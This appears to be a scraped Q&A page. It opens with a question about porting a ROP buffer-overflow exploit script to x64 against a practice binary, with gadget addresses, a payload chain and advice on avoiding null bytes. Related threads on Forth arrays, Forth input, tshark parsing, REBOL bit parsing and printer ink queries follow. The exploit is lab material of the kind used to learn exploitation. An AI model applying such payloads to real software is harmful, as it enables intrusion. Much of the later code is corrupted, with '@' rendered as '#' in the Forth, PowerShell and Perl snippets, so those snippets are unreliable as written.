ROP Exploit: Address contains null byte - memory

I'm currently trying to adapt this example of a simple ROP attack to x64.
When compiling the program accordingly:
gcc -O0 -g -static -fno-stack-protector -no-pie -o simple_rop64 ./simple_rop.c
And trying to adjust the used addresses of the functions (using gdb) I have the following problem. The x64 address of, e.g., the lazy() function is at 0x401b9d, which is only three bytes. Thus, struct.pack will add a null-byte.
The python interpreter will therefore throw an error when executing with this error message:
python rop_exploit.py
[...]
os.system("./simple_rop64 \"%s\"" % payload)
TypeError: system() argument 1 must be string without null bytes, not str
Is it even possible to use this function address (which is always three bytes only) for this vulnerable program? Or do I have to adjust it otherwise?
Thanks for any help.
Here the python script I adjusted
#Find gadgets
#objdump -d simple_rop64 | grep --color -E -A2 "pop +%rbp"
#47c54a: 5d pop %rbp
#47c54b: c3 retq
pop_ret = 0x47c54a # start address of a pop,ret sequence
#objdump -d simple_rop32 | grep --color -A2 8049ca4
#8049ca4: 5f pop %edi
#8049ca5: 5d pop %ebp
#8049ca6: c3 ret
pop_pop_ret = 0x8049ca4 # start address of a pop,pop,ret sequence
lazy = 0x401b9d # objdump -d | grep lazy
food = 0x401bb0 # objdump -d | grep food
feeling_sick = 0x401c0c # objdump -d | grep feeling_sick
#Buffer Overflow
#0x0000000000401d0d <+45>: lea -0x70(%rbp),%rax
payload = "A"*0x70
# Saved RBP register
payload += "BBBBBBBB"
#food(0xdeadbeef) gadget
payload += struct.pack("I", food)
payload += struct.pack("I", pop_ret)
payload += struct.pack("I", 0xdeadbeef)
#feeling_sick(0xd15ea5e, 0x0badf00d) gadget
payload += struct.pack("I", feeling_sick)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xd15ea5e)
payload += struct.pack("I", 0x0badf00d)
payload += struct.pack("I", lazy)
os.system("./simple_rop64 \"%s\"" % payload)

You can't. What you could do instead is find a gadget that does a certain operation and do the opposite in your exploit.
For example if you find a gadget that does xor eax, 0xFFFFFFFF then you could just xor your address with it (0x401b9d ^ 0xFFFFFFFF = 0xFFBFE462) so that it fits 4 bytes. pop this intermediate value into eax and call your gadget so that your intermediate value becomes the address you want. Then you jump to it.

Related

How would one go about implementing a vector or dynamic array in forth?

I need to a dynamic array in forth, but I don't have any idea of how I could implement it. I searched online, and couldn't find any results either. I'm very new to forth, and just starting to learn it. I think I could just use a variable to store the length, and allocate more as I go, but I don't know if this even works since I am also able to write outside of the allocated space of the array.
It depends on what you really need. Below is code to create dynamic arrays of cells. Quickly tested in VFX Forth and GForth. There's probably neater and better optimised versions around.
0 [IF]
dynamic array is an address stored in the dictionary pointing to
a structure stored in allocated memory
0 CELL \ data size in bytes n CELLS
1 CELL \ start of data
...
n CELL \ End of data
[THEN]
\ Take dictionary address and return addresses of the array
: array-size \ a -- n ;
# # ;
: array-data \ a -- a' ;
# CELL + ;
\ **********************************************************
\ **********************************************************
\ Expand the data structure and copy the 'old' data into it.
\ This either expands the data to size or to twice the
\ original size whichever is larger.
\ ALLOCATE THROW and FREE THROW catch & report any memory
\ errors.
\ **********************************************************
: dyn-expand \ size a-dict -- ;
DUP >R
array-size 2* MAX \ new-size = largest of the ix offset
\ or 2 * current size.
DUP CELL + ALLOCATE THROW ( new-size new-addr )
2DUP CELL + SWAP ERASE \ zero the newly allocated memory
R# array-data OVER CELL + R# array-size
( size new-addr old-data-a new-data-a old-size )
MOVE \ Shift existing data to the new addr. ( size new-addr )
R# # FREE THROW \ Free the old data's memory
TUCK ! \ Store the new size
R> ! ; \ Store the new address in the dictionary
: dynamic-array \ CREATE: count -- ; DOES> ix -- a
\ Creates a dynamic array of count cells in ALLOCATED memory.
CREATE \ count -- ;
CELLS DUP CELL + ALLOCATE THROW ( count addr )
DUP , \ Store the data address in the dictionary
2DUP ! \ Store the data size in the allocated memory
CELL + SWAP ERASE \ Zero the new data region.
DOES> \ ix -- addr-of-ix-cell ;
\ Returns the address of the ix th cell. Expanding the array if required.
( ix a )
SWAP CELLS SWAP 2DUP array-size >= IF \ ix not in allocated range
2DUP dyn-expand
THEN
( ix-cells a ) array-data + ;
: dyn-stats. \ a -- ; Prints base address and array size
." Base data address: " DUP .
." Data size in bytes: " CELL - # . ;
Quick tests and use:
16 dynamic-array ]test ok
456 0 ]test ! 4560 10 ]test ! ok
CR 0 ]test dyn-stats. ." 0th and 10th Data: " 0 ]test # . 10 ]test # . CR
Base data address: 9459864 Data size in bytes: 128 0th and 10th Data: 456 4560
******* ***
ok
1600 16 ]test ! \ This extends the array. ok
CR 0 ]test dyn-stats. ." 0th and 10th Data: " 0 ]test # . 10 ]test # . CR
Base data address: 10502952 Data size in bytes: 256 0th and 10th Data: 456 4560
ok ******** Address Changed *** & size changed unchanged!!
." 16th data: " 16 ]test # . 16th data: 1600 ok

How to enter numbers in Forth

Is there something like input in Basic or scanf("%d") in C in Forth?
Probably it will be something like this:
200 buffer: buf
: input ( -- n ) buf 200 accept
some-magic-filter
buf swap evaluate ;
The problem in the above code, is how to define a filter that will pass only numbers, but not any words, definitions, etc?
The standard specifies only a low level >NUMBER word to interpret integer numbers.
OTOH using EVALUATE to convert strings into numbers is a quick and dirty way. Either use it without checks (in the case of trusted input) or do not use it at all. Trying to filter the string before EVALUATE is a bad idea: it has cost of >NUMBER word itself and low reusing factor.
NB: neither >NUMBER nor EVALUATE detects numeric overflow.
In any case, your word to input a single-cell integer can be defined something like:
: accept-number ( -- n )
PAD DUP 80 ACCEPT ( addr u ) StoN ( n )
;
In the case of trusted input you can define StoN like
: StoN ( addr u -- x )
STATE # ABORT" This naive StoN should not be used in compilation state"
DEPTH 2- >R
EVALUATE
DEPTH 1- R> <> IF -24 THROW THEN
\ check depth to accept the single-cell numbers only
;
Otherwise (in the case of untrusted input) you have two choices: to rely on the specific words of a particular Forth system or to use some (perhaps your own) library.
I use the following lexicon to define StoN:
\ ---
\ The words from Substring Matching library
\ (where length is counted in address units)
: MATCH-HEAD ( a u a-key u-key -- a-right u-right true | a u false )
2 PICK OVER U< IF 2DROP FALSE EXIT THEN
DUP >R
3 PICK R# COMPARE IF RDROP FALSE EXIT THEN
SWAP R# + SWAP R> - TRUE
;
\ ---
\ The words from Literals interpreting library
\ (where prefix 'I-' is shortcut for Interpret)
: I-DLIT ( a u -- x x true | a u false )
2DUP S" -" MATCH-HEAD >R
DUP 0= IF NIP RDROP EXIT THEN
0 0 2SWAP >NUMBER NIP IF RDROP 2DROP FALSE EXIT THEN
R> IF DNEGATE THEN 2SWAP 2DROP TRUE
;
: I-LIT ( a u -- x true | a u false )
I-DLIT IF D>S TRUE EXIT THEN FALSE
;
After that StoN can be defined as:
: StoN ( a u -- x ) I-LIT IF EXIT THEN -24 THROW ;
The mentioned libraries can be found at GitHub:
Substring matching functions library
Resolvers example (for various lexemes)
Rosetta Code suggests this code snippet, working with GForth 0.6.2, to determine if an input string is numeric:
: is-numeric ( addr len -- )
2dup snumber? ?dup if
0< if
-rot type ." as integer = " .
else
2swap type ." as double = " <# #s #> type
then
else 2dup >float if
type ." as float = " f.
else
type ." isn't numeric in base " base # dec.
then then ;
I built a BASIC like #INPUT word for Camel Forth to give BASIC users something more familiar. It takes more than one might think. It starts with $ACCEPT which can be used to like input with a string variable or memory block.
The definition of NUMBER? here is for single ints only but it compiles on GForth. It outputs true if conversion is bad; the reverse of SNUMBER?
DECIMAL
: NUMBER? ( addr len -- n ?) \ ?=0 is good conversion
( -- addr len) \ bad conversion
OVER C# [CHAR] - = DUP >R \ save flag for later
IF 1 /STRING THEN \ remove minus sign
0 0 2SWAP >NUMBER NIP NIP \ convert the number
R> IF SWAP NEGATE SWAP THEN \ negate if needed
;
: $ACCEPT ( $addr -- ) CR ." ? " DUP 1+ 80 ACCEPT SWAP C! ;
: #INPUT ( variable -- ) \ made to look/work like TI-BASIC
BEGIN
PAD $ACCEPT \ $ACCEPT text into temp buffer PAD
PAD COUNT NUMBER? \ convert the number in PAD
WHILE \ while the conversion is bad do this
CR ." Input error "
CR DROP
REPEAT
SWAP ! ; \ store the number in the variable
\ USAGE: VARIABLE X
\ X #INPUT

How to get a csv with all pcap packet details?

I want to create a CSV to import it on excel, containing all the packet details shown in wireshark.
Each row should correspond to a packet and the columns to the field details.
Using the following tshark command:
tshark -r mycapturefile.cap -E -V
I can show the information I need like:
Frame 1077: 42 bytes on wire (336 bits), 42 bytes captured (336 bits)
Encapsulation type: Ethernet (1)
Arrival Time: Aug 15, 2017 14:02:27.095521000 EDT
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1502820147.095521000 seconds
and other packet details...
What I want is that information provided with -V, so the -T fields option in wireshark is discarded. Wireshark export options also don't provide the data I need, only the pdml format, but I think is more tedius to parse.
I have searched for a tool, a script or parser with no results. Since each packet is different, make a personal parser may be difficult/tedious and considering people can extract this information but provide no sources of how to do it, there must be a method or tool that can do it.
Do you know any tool, script or method that already do this?
Thanks in advance.
There is a ton of information coming down. You gotta use that -Y display filter to whittle it down. The resulting text can then be parsed.
Try -Y "frame.number == 1077" -V and then parse the text that is returned.
In my case I wanted certificate information.
Function GetCertsFromWireSharkPackets2 ($CERTTEXT){
foreach($Cert in($CERTTEXT|?{$_ -match "Source:.*\d{1,3}\.\d{1,3}\.\d{1,3}\.|Destination:.*\d{1,3}\.\d{1,3}\.\d{1,3}\.|Certificate:"} | %{$_.trim() -replace 'Source:','|Source:' -replace ":",'=' }) -join "`n"| %{$_.split('|')}|?{$_}) {
$Cert|%{$Props = [regex]::matches($_,"(?sim)(?<=^).*?(?=\=)").value ; $Dups = [regex]::matches($Props,"(?sim)\b(\w+)\s+\1\b").value.split(' ') ; $values = [regex]::matches($_,"(?sim)(?<=\=).*?(?=$)").value.trim()}
$PropsNoDups = ($Props -join "`n").replace(($Dups|select -first 1),'').split(10)|?{$_} ;
if(($PropsNoDups.count + $Dups.count) -ne $Props.count){$dups+=($dups|select -First 1)}
for($X=1;$X -lt $Dups.count;$X++){$dups[$X] +=$X}
$ValidProps = $PropsNoDups+$Dups ; $StitchCount = $Values.Count
$ValidP_V = For($x=0;$x -lt $StitchCount;$x++){ '"'+$ValidProps[$x] + '"="' + $Values[$x] +'"'} ;$ValidP_V =($ValidP_V -join "`n")|?{$_} ; $ExpText = "New-Object psobject -Property #{`n"+$ValidP_V+"`n}"
Invoke-Expression($ExpText)|select Source, Destination, Certificate, Certificate1, Certificate2, Certificate3
} }
#Click refresh on a few browser tabs to generate traffic.
$CERTTEXT = .\tshark.exe -i 'Wi-Fi' -Y "ssl.handshake.certificate" -V -a duration:30
GetCertsFromWireSharkPackets2 $CERTTEXT
Source : cybersandwich.com (107.170.193.139)
Destination : KirtCarson.com (222.168.3.118)
Certificate : 3082057e30820466a0030201020212030e2782075e8f90f5... (id-at-commonName=multi.zeall.us)
Certificate1 : 308204923082037aa00302010202100a0141420000015385... (id-at-commonName=Let's Encrypt Authority
X3,id-at-organizationName=Let's Encrypt,id-at-countryName=US)
Certificate2 :
Certificate3 :

How do you parse 4-bit chunks from binary?

I'm trying to understand how I might parse binary per 4 bits if it is possible.
For example:
I have 2-byte codes that need to be parsed to determine which instruction to use
#{1NNN} where the first 4 bits tell where which instruction, and NNN represents a memory location (i.e. #{1033} says jump to memory address #{0033}
It seems to be easy to do this with full bytes, but not with half bytes:
parse #{1022} [#{10} {#22}]
because #{1} isn't valid binary!
So far, I've used giant switch statements with: #{1033} AND #{F000} = #{1000} in order to process these, but wondering how a more mature reboler might do this.
This is a rather big entry, but it addresses your needs and shows off PARSE a bit.
This is basically a working, albeit simple VM which uses the memory layout you describe above.
I set up a simple block of RAM which is an actual program that it executes when I use PARSE with the emulator grammar rule... basically, it increments an address and then jumps to that address, skipping over an NOP.
it then hits some illegal op and dies.
REBOL [
title: "simple VM using Parse, from scratch, using no external libraries"
author: "Maxim Olivier-Adlhoch"
date: 2013-11-15
]
;----
; builds a bitset with all low-order bits of a byte set,
; so only the high bits have any weight
;----
quaternary: func [value][
bs: make bitset!
reduce [
to-char (value * 16)
'-
to-char ((value * 16) + 15)
]
]
;------
; get the 12 least significant bits of a 16 bit value
LSB-12: func [address [string! binary!] ][
as-binary (address AND #{0FFF})
]
;------
i32-to-binary: func [
n [integer!]
/rev
][
n: load join "#{" [form to-hex to-integer n "}"]
either rev [head reverse n][n]
]
;------
; load value at given address. (doesn't clear the opcode).
LVAL: func [addr [binary!]][
to-integer copy/part at RAM ( (to-integer addr) + 1) 2
]
;------
; implement the opcodes which are executed by the CPU
JMP: func [addr][
print ["jumping to " addr]
continue: at RAM ((to-integer addr) + 1) ; 0 based address but 1 based indexing ;-)
]
INC: func [addr][
print ["increment value at address: " addr]
new-val: 1 + LVAL addr
addr: 1 + to-integer addr
bin-val: at (i32-to-binary new-val) 3
change at RAM addr bin-val
]
DEC: func [addr][
print ["decrement value at address: " addr]
]
NOP: func [addr][
print "skipping Nop opcode"
]
;------
; build the bitsets to match op codes
op1: quaternary 1
op2: quaternary 2
op3: quaternary 3
op4: quaternary 4
;------
; build up our CPU emulator grammar
emulator: [
some [
[
here:
[ op1 (op: 'JMP) | op2 (op: 'INC) | op3 (op: 'DEC) | op4 (op: 'NOP)] ; choose op code
:here
copy addr 2 skip (addr: LSB-12 addr) ; get unary op data
continue:
(do reduce [op addr])
:continue
]
| 2 skip (
print ["^/^/^/ERROR: illegal opcode AT: " to-binary here " offset[" -1 + index? here "]"] ; graceful crash!
)
]
]
;------
; generate a bit of binary RAM for our emulator/VM to run...
0 2 4 6 8 ; note ... don't need comments, Rebol just skips them.
RAM: #{2002100540FF30015FFF}
RAM-blowup: { 2 002 1 005 4 0FF 3 001 5 FFF } ; just to make it easier to trace op & data
parse/all RAM emulator
print "^/^/Yes that error is on purpose, I added the 5FFF bytes^/in the 'RAM' just to trigger it :-)^/"
print "notice that it doesn't run the NOP (at address #0006), ^/since we used the JMP opcode to jump over it.^/"
print "also notice that the first instruction is an increment ^/for the address which is jumped (which is misaligned on 'boot')^/"
ask "press enter to continue"
the output is as follows:
increment value at address: #{0002}
jumping to #{0006}
decrement value at address: #{0001}
ERROR: illegal opcode AT: #{5FFF} offset[ 8 ]
Yes that error is on purpose, I added the 5FFF bytes
in the 'RAM' just to trigger it :-)
notice that it doesn't run the NOP (at address #0006),
since we used the JMP opcode to jump over it.
also notice that the first instruction is an increment
for the address which is jumped (which is misaligned on 'boot')
press enter to continue

How can I access ink levels of printers programmatically?

Okay, this is a Windows specific question.
I need to be able to access the ink levels of a printer connected to a computer. Possibly direct connection, or a network connection.
I recognize that it will likely be different for each printer (or printer company at least) but where can I find the information of how they reveal ink levels to a PC. Also, what is the best language to read this information in?
Okay, this is a OS agnostic answer... :-)
If the printer isn't a very cheapo model, it will have built-in support for SNMP (Simple Network Management Protocol). SNMP queries can return current values from the network devices stored in their MIBs (Management Information Bases).
For printers there's a standard defined called Printer MIB. The Printer MIB defines standard names and tree locations (OIDs == Object Identifiers in ASN.1 notation) for prtMarkerSuppliesLevel which in the case of ink marking printers map to ink levels.
Be aware that SNMP also allows private extensions to the standard MIBs. Most printer vendors do hide many additional pieces of information in their "private MIBs", though the standard info should always be available through the queries of the Printer MIB OIDs.
Practically every programming language has standard libraries which can help you to make specific SNMP queries from your own application.
One such implementation is Open Source, called Net-SNMP, which also comes with a few powerfull commandline tools to run SNMP queries.
I think the OID to query all levels for all inks is .1.3.6.1.2.1.43.11.1.1.9 (this webpage confirms my believe) but I cannot verify that right now, because I don't have a printer around in my LAN at the moment. So Net-SNMP's snmpget command to query ink levels should be something like:
snmpget \
-c public \
192.168.222.111 \
".1.3.6.1.2.1.43.11.1.1.9"
where public is the standard community string and 192.168.222.111 your printer's IP address.
I have an SNMP-capable HP 8600 pro N911a around to do some digging, so the following commands may help you a bit. Beware that this particular model has some firmware problems, you can't query "magenta" with snmpget, but you see a value with snmpwalk (which does some kind of recursive drill-down).
OLD: You can query the names and sequence of values, but I couldn't find the "max value" to calculate a clean percentage so far ;(. I'm guessing so far the values are relative to 255, so dividing by 2.55 yields a percentage.
Update: Marcelo's hint was great! From Registers .8.* you can read the max level per cartridge, and I was totally wrong assuming the max value can only be an 8-bit value. I have updated the sample script to read the max values and calculate c
There is also some discussion over there at Cacti forums.
One answer confirms that the ink levels are measured as percent (value 15 is "percent" in an enumeration):
# snmpwalk -v1 -c public 192.168.100.173 1.3.6.1.2.1.43.11.1.1.7
SNMPv2-SMI::mib-2.43.11.1.1.7.0.1 = INTEGER: 15
SNMPv2-SMI::mib-2.43.11.1.1.7.0.2 = INTEGER: 15
SNMPv2-SMI::mib-2.43.11.1.1.7.0.3 = INTEGER: 15
SNMPv2-SMI::mib-2.43.11.1.1.7.0.4 = INTEGER: 15
You need to install the net-snmp package. If you're not on Linux you might need some digging for SNMP command line tools for your preferred OS.
# snmpwalk -v1 -c public 192.168.100.173 1.3.6.1.2.1.43.11.1.1.6.0
SNMPv2-SMI::mib-2.43.11.1.1.6.0.1 = STRING: "black ink"
SNMPv2-SMI::mib-2.43.11.1.1.6.0.2 = STRING: "yellow ink"
SNMPv2-SMI::mib-2.43.11.1.1.6.0.3 = STRING: "cyan ink"
SNMPv2-SMI::mib-2.43.11.1.1.6.0.4 = STRING: "magenta ink"
# snmpwalk -v1 -c public 192.168.100.173 1.3.6.1.2.1.43.11.1.1.9.0
SNMPv2-SMI::mib-2.43.11.1.1.9.0.1 = INTEGER: 231
SNMPv2-SMI::mib-2.43.11.1.1.9.0.2 = INTEGER: 94
SNMPv2-SMI::mib-2.43.11.1.1.9.0.3 = INTEGER: 210
SNMPv2-SMI::mib-2.43.11.1.1.9.0.4 = INTEGER: 174
# snmpwalk -v1 -c praxis 192.168.100.173 1.3.6.1.2.1.43.11.1.1.8.0
SNMPv2-SMI::mib-2.43.11.1.1.8.0.1 = INTEGER: 674
SNMPv2-SMI::mib-2.43.11.1.1.8.0.2 = INTEGER: 240
SNMPv2-SMI::mib-2.43.11.1.1.8.0.3 = INTEGER: 226
SNMPv2-SMI::mib-2.43.11.1.1.8.0.4 = INTEGER: 241
On my Linux box I use the following script to do some pretty-printing:
#!/bin/sh
PATH=/opt/bin${PATH:+:$PATH}
# get current ink levels
eval $(snmpwalk -v1 -c praxis 192.168.100.173 1.3.6.1.2.1.43.11.1.1.6.0 |
perl -ne 'print "c[$1]=$2\n" if(m!SNMPv2-SMI::mib-2.43.11.1.1.6.0.(\d) = STRING:\s+"(\w+) ink"!i);')
# get max ink level per cartridge
eval $(snmpwalk -v1 -c praxis 192.168.100.173 1.3.6.1.2.1.43.11.1.1.8.0 |
perl -ne 'print "max[$1]=$2\n" if(m!SNMPv2-SMI::mib-2.43.11.1.1.8.0.(\d) = INTEGER:\s+(\d+)!i);')
snmpwalk -v1 -c praxis 192.168.100.173 1.3.6.1.2.1.43.11.1.1.9.0 |
perl -ne '
my #c=("","'${c[1]}'","'${c[2]}'","'${c[3]}'","'${c[4]}'");
my #max=("","'${max[1]}'","'${max[2]}'","'${max[3]}'","'${max[4]}'");
printf"# $c[$1]=$2 (%.0f)\n",$2/$max[$1]*100
if(m!SNMPv2-SMI::mib-2.43.11.1.1.9.0.(\d) = INTEGER:\s+(\d+)!i);'
An alternative approach could be using ipp. While most of the printers I tried support both, I found one which only worked with ipp and one that only worked for me with snmp.
Simple approach with ipptool:
Create file colors.ipp:
{
VERSION 2.0
OPERATION Get-Printer-Attributes
GROUP operation-attributes-tag
ATTR charset "attributes-charset" "utf-8"
ATTR naturalLanguage "attributes-natural-language" "en"
ATTR uri "printer-uri" $uri
ATTR name "requesting-user-name" "John Doe"
ATTR keyword "requested-attributes" "marker-colors","marker-high-levels","marker-levels","marker-low-levels","marker-names","marker-types"
}
Run:
ipptool -v -t ipp://192.168.2.126/ipp/print colors.ipp
The response:
"colors.ipp":
Get-Printer-Attributes:
attributes-charset (charset) = utf-8
attributes-natural-language (naturalLanguage) = en
printer-uri (uri) = ipp://192.168.2.126/ipp/print
requesting-user-name (nameWithoutLanguage) = John Doe
requested-attributes (1setOf keyword) = marker-colors,marker-high-levels,marker-levels,marker-low-levels,marker-names,marker-types
colors [PASS]
RECEIVED: 507 bytes in response
status-code = successful-ok (successful-ok)
attributes-charset (charset) = utf-8
attributes-natural-language (naturalLanguage) = en-us
marker-colors (1setOf nameWithoutLanguage) = #00FFFF,#FF00FF,#FFFF00,#000000,none
marker-high-levels (1setOf integer) = 100,100,100,100,100
marker-levels (1setOf integer) = 6,6,6,6,100
marker-low-levels (1setOf integer) = 5,5,5,5,5
marker-names (1setOf nameWithoutLanguage) = Cyan Toner,Magenta Toner,Yellow Toner,Black Toner,Waste Toner Box
marker-types (1setOf keyword) = toner,toner,toner,toner,waste-toner
marker-levels has current toner/ink levels, marker-high-levels are maximus (so far I've only seen 100s here), marker-names describe meaning of each field (tip: for colors you may want to strip everything after first space, many printers include cartridge types in this field).
Note: the above is with cups 2.3.1. With 2.2.1 I had to specify the keywords as one string instead ("marker-colors,marker-h....). Or it can be left altogether, then all keywords are returned.
More on available attributes (may differ between printers): https://www.cups.org/doc/spec-ipp.html
More on executing ipp calls (including python examples): https://www.pwg.org/ipp/ippguide.html
I really liked tseeling's approach!
Complementarily, I found out that the max value for the OID ... .9 is not 255 as guessed by him, but it actually varies per individual cartridge. The values can be obtained from OID .1.3.6.1.2.1.43.11.1.1.8 (the results obtained by dividing by these values match the ones obtained by running hp-inklevels command from hplip.
I wrote my own script that output CSVs like below (suppose printer IP addr is 192.168.1.20):
# ./hpink 192.168.1.20
black,73,366,19.9454
yellow,107,115,93.0435
cyan,100,108,92.5926
magenta,106,114,92.9825
values are in this order: <color_name>,<level>,<maxlevel>,<percentage>
The script source (one will notice I usually prefer awk over perl when the puzzle is simple enough):
#!/bin/sh
snmpwalk -v1 -c public $1 1.3.6.1.2.1.43.11.1.1 | awk '
/.*\.6\.0\./ {
sub(/.*\./,"");
split($0,TT,/[ "]*/);
color[TT[1]]=TT[4];
}
/.*\.8\.0\./ {
sub(/.*\./,"");
split($0,TT,/[ "]*/);
maxlevel[TT[1]]=TT[4];
}
/.*\.9\.0\./ {
sub(/.*\./,"");
split($0,TT,/[ "]*/);
print color[TT[1]] "," TT[4] "," maxlevel[TT[1]] "," TT[4] / maxlevel[TT[1]] * 100;
}'

Resources